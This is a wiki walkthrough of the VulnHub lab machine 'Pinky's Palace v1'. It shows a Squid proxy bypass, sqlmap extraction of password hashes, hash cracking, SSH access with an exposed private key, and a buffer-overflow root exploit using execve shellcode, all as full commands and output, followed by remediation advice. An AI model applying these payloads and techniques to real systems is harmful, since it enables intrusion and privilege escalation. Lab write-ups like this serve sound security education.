Pinky's Palace: v1 ~ VulnHub - Walkthrough

Revision as of 06:24, 15 June 2018 by Dmina (talk | contribs) (→‎Exploitation)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

Objective

Gain access to the root shell and retrieve /root/root.txt

Source: [Pinky's Palace: v1 ~ VulnHub]

Status: [Done]

Methodology

Discovery

Identify the target 

root@blaksec:~# nmap -sP 192.168.56.0/24
.....
root@blaksec:~# export TANGO=192.168.56.104
root@blaksec:~# nmap -O -sT -sV -p- -T5 $TANGO

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-23 19:11 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for $TANGO
Host is up (0.00098s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE    VERSION
8080/tcp  open  http       nginx 1.10.3
31337/tcp open  http-proxy Squid http proxy 3.5.23
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
MAC Address: 08:00:27:A3:C5:2A (Oracle VirtualBox virtual NIC)
Device type: general purpose

Entry Point #1 - Port 8080 (HTTP)

Enumeration

All initial attempts to access the web server on 8080 came back with status 403 - Forbidden. This usually means one of two things - either there is a WAF (Web Application Firewall) blocking our attempts or the access is simply denied by server configuration. Gut feel telling WAF would be a bit of an overkill for CTF VM so I decided to take chances and try figuring out a work around the configuration based access restriction. Now, 403 usually means access is restricted to a certain IP (e.g. localhost / 127.0.0.1). If it required an authenticated user, it would've thrown a 401

We have a Squid Proxy instance running on port 31337. Accessing Webserver through that proxy should technically trick it to believe that the connection is coming from the same host. To prove our theory, 

root@blaksec:~# curl -x http://$TANGO:31337 http://127.0.0.1:8080/
<html>
	<head>
		<title>Pinky's HTTP File Server</title>
	</head>
	<body>
		<center><h1>Pinky's HTTP File Server</h1></center>
		<center><h3>Under Development!</h3></center>
	</body>
<style>
html{
	background: #f74bff;
}
</html>

Let's take it a step further and check the webserver out with other tools.

nikto

After updating nikto config to use proxy (PROXYHOST/PROXYPORT) 

root@blaksec:~# nikto -h 127.0.0.1 -p 8080 -useproxy -nossl
---------------------------------------------------------------------------
+ Target IP:          127.0.0.1
+ Target Hostname:    127.0.0.1
+ Target Port:        8080
+ Proxy:              $TANGO:31337
+ Start Time:         2018-03-25 16:04:57 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3
+ Retrieved via header: 1.1 pinkys-palace (squid/3.5.23)
+ Server leaks inodes via ETags, header found with file /, fields: 0x5a74203e 0xe5 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-cache' found, with contents: HIT from pinkys-palace
+ Uncommon header 'x-cache-lookup' found, with contents: HIT from pinkys-palace:31337
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server banner has changed from 'nginx/1.10.3' to 'squid/3.5.23' which may suggest a WAF, load balancer or proxy is in place
+ Uncommon header 'x-squid-error' found, with contents: ERR_INVALID_REQ 0
+ 7518 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2018-03-25 16:05:10 (GMT-4) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Sadly enough, nothing interesting popped up. Except the fact that they're usign nginx. Time to shake things up a bit more!

dirb

Took a while to find the right list but we eventually landed on some goodies. Lesson here - don't give up :) 

root@blaksec:~# dirb http://127.0.0.1:8080/ /usr/share/dirbuster/wordlists/directory-list-1.0.txt -p $TANGO:31337 -w
---- Entering directory: http://127.0.0.1:8080/littlesecrets-main/ ----

Awesome! Now let's re-run it this time looking for some files 

root@blaksec:~# dirb http://127.0.0.1:8080/littlesecrets-main/ /usr/share/dirbuster/wordlists/directory-list-1.0.txt -p $TANGO:31337 -w -X .php,.bak,.txt

---- Scanning URL: http://127.0.0.1:8080/littlesecrets-main/ ----
+ http://127.0.0.1:8080/littlesecrets-main/login.php (CODE:200|SIZE:68)                                                                                                                                           
+ http://127.0.0.1:8080/littlesecrets-main/logs.php (CODE:200|SIZE:30)

Exploitation

Now that we have two possible entry points, let's dive deeper. Loaded that URL in ZAP but nothing obvious popped up - no LFI/RFI, no Cookies. Let's try something different - sqlmap. 

root@kali:~# sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --dbms=mysql --proxy=http://$TANGO:31337 --data="user=adm&pass=passw" --dump users --level=5 --risk=3

Bippidy-boop 24 mins later 

[23:41:35] [WARNING] no clear password(s) found                                                                                          
Database: pinky_sec_db
Table: users
[2 entries]
+-----+----------------------------------+-------------+
| uid | pass                             | user        |
+-----+----------------------------------+-------------+
| 1   | f543dbfeaf238729831a321c7a68bee4 | pinky       |
| 2   | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
+-----+----------------------------------+-------------+

Note to self: Re-visit the sqlmap part to get a better understanding how this was pulled out of the database as sqlmap is not allowed on OSCP exam! The vulnerability, by the way, was in user-agent which was susceptible to tame-based sql injection attacks.

A quick check on google.com gave us a valid set of credentials for one of the hashes - hashhack.pro gave us d60dffed7cc0d87e1f4a11aa06ca73af -> 3pinkysaf33pinkysaf3

Can we crack that hash ourselves too? sure why not! (I'm using --show switch because I've done it once already just forgot to record the screen from the original attempt 

root@blaksec:~# hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt --force --show
d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3

Running hashcat for f543dbfeaf238729831a321c7a68bee4 kept segfaulting for some reason. Oh well, you can only do that much on a laptop. Let's work with what we have and come back to this one if we hit a dead-end.

pinkymanage:3pinkysaf33pinkysaf3 did not work for the web log in but it did work for ssh 

root@blaksec:~# ssh -p 64666 pinkymanage@$TANGO
pinkymanage@192.168.56.104's password: 
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun  6 16:54:49 2018
pinkymanage@pinkys-palace:~$
pinkymanage@pinkys-palace:~$ pwd
/home/pinkymanage
pinkymanage@pinkys-palace:~$ find ./
./
./.bashrc
./.bash_logout
./.profile
./.bash_history
pinkymanage@pinkys-palace:~$ cd /var/www/
pinkymanage@pinkys-palace:/var/www$ find ./
./
./html
./html/index.html
./html/littlesecrets-main
./html/littlesecrets-main/logs.php
./html/littlesecrets-main/login.php
./html/littlesecrets-main/index.html
./html/littlesecrets-main/ultrasecretadminf1l35
./html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret
./html/littlesecrets-main/ultrasecretadminf1l35/note.txt
./pinkymanage
./pinkymanage/.ssh
./pinkymanage/.ssh/known_hosts
./pinkymanage/.bash_history
pinkymanage@pinkys-palace:/var/www$
pinkymanage@pinkys-palace:/var/www$ cat ./html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret |base64 -d
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA16fxL3/+h/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8
Hc7KOx/L9g2jd3H8dGPUfKKr9seqtg97ZKA95S/sb4w3Qtl1ABu/pVKZBbGGsHG/
yIvGEPKS+BSZ4stMW7Hnx7ciMuhwcZwLqZmsySumECTueQswNPblITlrqolpYF8x
...
/a63FqPang2VFjfcc/r+6qECgYA+AzrfHFKzhWNCV9cudjp1sMtCOEYXKD1i+Rwh
Y6O85+Og8i2RdB5EkyvJkuwpv8Cf3OQowZinbq+vG0gMzsC9JNxItZ4sS+OOT+Cw
3lsKx+asC2Vx7PiKt8uEbUNvDrOXxPjuRImMhX3YSQ/UAsBGRZXl050UKmoeTIKh
ShiOVQKBgQDsS41imCxW2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX
A9rpLWmbfxGgJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc
HccEP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA==
-----END RSA PRIVATE KEY-----
root@blaksec:~# ssh -i ~/.ssh/pinky_key_rsa -p 64666 pinky@$TANGO
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun  6 12:50:11 2018 from 192.168.56.200
pinky@pinkys-palace:~$

Don't know why but I simply enjoy looking for SUID binaries - consider them to be low hanging fruit! 

pinky@pinkys-palace:~$ find ./ -perm -4000
./adminhelper
pinky@pinkys-palace:~$ cat note.txt 
Been working on this program to help me when I need to do administrator tasks sudo is just too hard to configure and I can never remember my root password! Sadly I'm fairly new to C so I was working on my printing skills because Im not sure how to implement shell spawning yet :(
pinky@pinkys-palace:~$ ./adminhelper "Pinky smells funy"
Pinky smells funy
pinky@pinkys-palace:~$ ./adminhelper $(python -c 'print("A" * 1024)')
Segmentation fault

Fun part - Priv Escalation

It appears that adminhelper is susceptible to a buffer overflow vulnerability. It also appears that this binary has a SUID bit turned on which means whatever is done inside of it is done as root

I'm not going to go into much details on buffer overflow but to summarize it works like this - imagine you're reading a book and on the last page it says 'put me back on the shelf'. Well, buffer overflow let's us modify the last page to say 'ok now go read another book'. In other words, instead of finishing it's work when it's done reading the buffer, our binary will be asked to do more work.

After trying a few different numbers we came up wiht 72 as the buffer size. Now we need to craft some code, put it somewhere adminhelper can access it once it's done doing it's normal work.

For this exercise I'll use shellcode from [[ http://shell-storm.org/shellcode/files/shellcode-806.php ]]

Let's put this code into an environment variable 

pinky@pinkys-palace:~$ export MYEGG=$(python -c 'print("\x90" * 100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")')
pinky@pinkys-palace:~$ echo $MYEGG
����������������������������������������������������������������������������������������������������1�H�ѝ��Ќ��H��ST_�RWT^�;
pinky@pinkys-palace:~$

Now we need to figure out where the variable resides in memory. The address can be retrieved using this nifty piece of code I got from somewhere else. Just drop it on the target host and compile.

Note to self: what if the target does not have GCC installed? 

#include <stdlib.h>
int main()
{
	char *addr;
	addr = getenv("MYEGG");
	printf("MYEGG is at %p\n", addr);
	exit(0);
}

Let's compile the code and that address. You may notice I'm creating a folder with a hidden name. This is just a habit not to leave things laying in plain view :) 

pinky@pinkys-palace:~$ mkdir .T0hHfwed3334w.tmp && cd .T0hHfwed3334w.tmp/
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ gcc getMYEGGAddr.c -o getMYEGGAddr
getMYEGGAddr.c: In function ‘main’:
getMYEGGAddr.c:6:2: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]
  printf("MYEGG is at %p\n", addr);
  ^~~~~~
getMYEGGAddr.c:6:2: warning: incompatible implicit declaration of built-in function ‘printf’
getMYEGGAddr.c:6:2: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$
.....
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ ./getMYEGGAddr 
MYEGG is at 0x7fffffffef45

And now fun part 

pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ ../adminhelper $(python -c 'print("A" * 72 + "\x7f\xff\xff\xff\xef\x45"[::-1])')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE����
# whoami
root
#

Oh oh oh! What's just happened! That's right! A buffer overflow happened! Which executed our shell code which in turn opened /bin/sh as root! Wut wut!

No but really, what we did was we simply fed adminhelper 72 bytes of A filling up it's allocated buffer. In addition to that we appended the address of our $MYEGG env variable containing the shellcode. That address went right into the $RIP register. RIP in this case stands for Return Instruction Pointer, telling our app where to go next. Note, the address needs to be entered backards because of them whole Little Endian shenanigans. Since I'm too lazy to write the numbers backwards I had python do the work for me ([::-1] reverses the array of characters).

From here, It's mere formality 

# whoami
root
# cd /root
# ls -alrht
total 40K
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwxr-xr-x 22 root root 4.0K Jan 28 11:33 ..
lrwxrwxrwx  1 root root    9 Feb  1 00:25 .bash_history -> /dev/null
lrwxrwxrwx  1 root root    9 Feb  2 01:34 .mysql_history -> /dev/null
drwx------  2 root root 4.0K Feb  2 03:55 .ssh
-rw-r--r--  1 root root  207 Mar  5 15:13 root.txt
-rw-------  1 root root  15K Mar  5 15:17 .viminfo
drwx------  3 root root 4.0K Mar  5 15:17 .
# cat root.txt	
===========[!!!CONGRATS!!!]===========

[+] You r00ted Pinky's Palace Intermediate!
[+] I hope you enjoyed this box!
[+] Cheers to VulnHub!
[+] Twitter: @Pink_P4nther

Flag: 99975cfc5Y0m0mmA8d4a2b2c03ce

Final Notes

So, right... things learned...

  • You can bypass local restrictions using something like Squid Proxy which will make your access look like you're coming from the host
  • Buffer overflows / Shellcoding is fun! Especially if you look at the source of programs before they turn into shellcode.
  • Some things work some things don't
  • Google is your friend when you have a hash - look it online before trying to crack it yourself
  • gdb-peda is awesome!! Scripts and wrappers help, as long as you know how they work and what they do so treat them as helper-tools. gdb-peda will make things pretty and all on one screen which is nice but make sure you understand what each line of the output means.
  • It took me some time to crack this one, mostly because I just did not have time to work on it in one sitting. There was also a need to go back to books to freshen up my ASM / Shellcoding skills but it's all fun!

Appendix A: Vulnerability Detail and Mitigation

Access to Private Keys
Rating High
Description Private key for user 'pinky' exposed in base64 clear text.
Impact Once gotten hold of the private key file, an unauthorized will be able to decode / de-obfuscate the file and use it to for unauthorized access to the host.
Remediation Encrypt the key with a strong encryption algorithm.
Password reuse
Rating High
Description mysql account for 'pinkymanage' uses the same password as user's system account
Impact After compromising the 'mysql' account for 'pinkymanage' over the web an attacker would be able to re-use the password to gain console-level access.
Remediation Implement password re-use policies.
Vulnerable binaries with SUID bit
Rating High
Description SUID allows non-root users to execute binaries with root privileges. If such binary is compromised it will allow an unauthorized user to execute any command as root.
Impact ~pinky/adminhelper binary is vulnerable to buffer overflow attacks, allowing injection of proprietary code which enables an attacker to execute arbitrary commands as root. In our case we were able to execute /bin/sh, thus gaining access to root shell.
Remediation Limit SUID permissions to applications from approved sources. Perform code review. Employ the available protection mechanisms to prevent buffer overflow, such as StackShield, StackGuard, etc.
Retrieved from "https://blaksec.com/index.php?title=Pinky%27s_Palace:_v1_~_VulnHub_-_Walkthrough&oldid=422"